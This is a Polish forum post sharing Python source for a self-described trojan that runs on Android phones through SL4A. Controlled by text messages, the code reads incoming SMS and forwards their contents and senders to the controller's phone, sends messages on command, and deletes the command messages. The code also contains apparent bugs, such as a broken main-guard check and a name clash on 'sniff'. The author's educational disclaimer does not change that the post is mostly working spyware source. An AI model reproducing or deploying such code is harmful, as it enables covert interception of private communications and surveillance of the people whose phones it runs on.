[Python]Trojan/sms sniffer na androida

Zbiór ciekawych kodów źródłowych, skryptów i gotowców.
Regulamin forum
-Staraj się poprzedzać nazwę tematu prefiksem z nazwą języka programowania np. [Python] nazwa tematu.
-Wklejaj źródła w znaczniku

Kod: Zaznacz cały

[/b].
-Staraj się w skrócie opisać do czego dane źródło służy.
[b]-Zawsze podaj stronę domową autora (jeśli znasz te informacje)[/b]. Szanujemy cudzą prace!
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

[Python]Trojan/sms sniffer na androida

Post autor: Kenjin » 28 lut 2016, 20:52

Witam,

niedlugo opublikuje artykul z tutorialem i opisem funkcjonalnosci programu a juz teraz publikuje kod. Jest to prosty trojan sterowany smsem na telefony z systemem android mojego autorstwa. Wymaga sl4a (scripting layer for android) do dzialania. Mozna to skompilowac i uruchomic jako standalone albo tez wyzwalac poprzez interpreter (np. Qpython3).

Kod: Zaznacz cały

import sl4a

class trojan():
    loop = 1
    receiver = ''
    droid = sl4a.Android()
    sniff = 0

    def set(self):
        rec = input('podaj numer telefonu z ktorego przychodza komendy')
        self.receiver = rec

    def sniff(self):
        nieprzeczytane = self.droid.smsGetMessages(True)
        for wiadomosc in nieprzeczytane:
            tresc = wiadomosc['body']
            address = wiadomosc['address']
            tresc = tresc+' od '+address
            self.droid.smsSend(self.receiver, tresc)
            self.droid.smsMarkMessageRead(wiadomosc['_id'])

    def send(self, rec, tresc):
        self.droid.smsSend(rec, tresc)


    def main_loop(self):
        while loop == 1:
            smsy = self.droid.smsGetMessages(True)
            wiadomosci = smsy[1]

            for sms in wiadomosci:
                if sms['address'] == receiver:
                    wiad = sms['body']
                    wiad = wiad.lower()
                    if 'xtstop' in wiad:
                        self.loop = 0
                    elif 'xtsniffstart' in wiad:
                        self.sniff = 1
                    elif 'xtsniffstop' in wiad:
                        self.sniff = 0
                    elif self.sniff == 1:
                        self.sniff()
                    elif 'xtsend' in wiad:
                        czesc = wiad.split(',')
                        self.send(czesc[1], czesc[2])
                    mid = sms['_id']
                    self.droid.smsDeleteMessage(mid)


if '__name__' == '__main__':
    XT = trojan()
    print('Witaj w trojanie XT, wybierz odpowiadajaca konfiguracje a nastepnie wysylajac odpowiednie komendy SMS steruj trojanem')
    print('Lista komend:\nXTstop - konczy prace trojana\nXTsniffstart - przechwytuje wiadomosci i wysyla do receivera\nXTsniffstop - konczy przechwytywanie\nXTsend (komenda musi byc w formie XTsend,numer_tel,tresc) - wysyla sms pod podany numer o podanej tresci') 
    XT.set()
    XT.main_loop()

UWGA: testowalem tylko z grubsza, napewna sa jakies bugi, wiec zachecam do testowania
UWAGA2: W zaleznosci jakie uprawnienia damy naszej aplikacji, komenda smsDeleteMessage, moze nie zadzaialac. Wtedy program bedzie w nieskonczonosc wysylac nam smsy co moze skutkowac naliczeniem oplat za smsy. NIE PONOSZE ODPOWIEDZIALNOSCI za takie uzycie. Jesli ktoś sie na tym nie zna to nie polecam sie za to nawet zabierac, bo zawsze istnieje ryzyko nieskonczonej petli. Rozwiazaniem, moze być zastąpeinie smsDeleteMessage ->smsMarkMessageRead ale wtedy pozostanie "ślad" komend w inboxie.
UWAGA3: Skrypt napisany wyłącznie w celach edukacyjnych, wykradanie informacji osob trzecich jest karalne.
UWAGA4: Celowo nie dodalem, zadnych lini kodu ani nie opisalem technik jak ukryc dzialanie programu. Tak jak wyzej napisalem, chcialem zademonstrowac jak taki trojan dziala a nie tworzyc narzedzie do szkodzenia.

ODPOWIEDZ

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 1 gość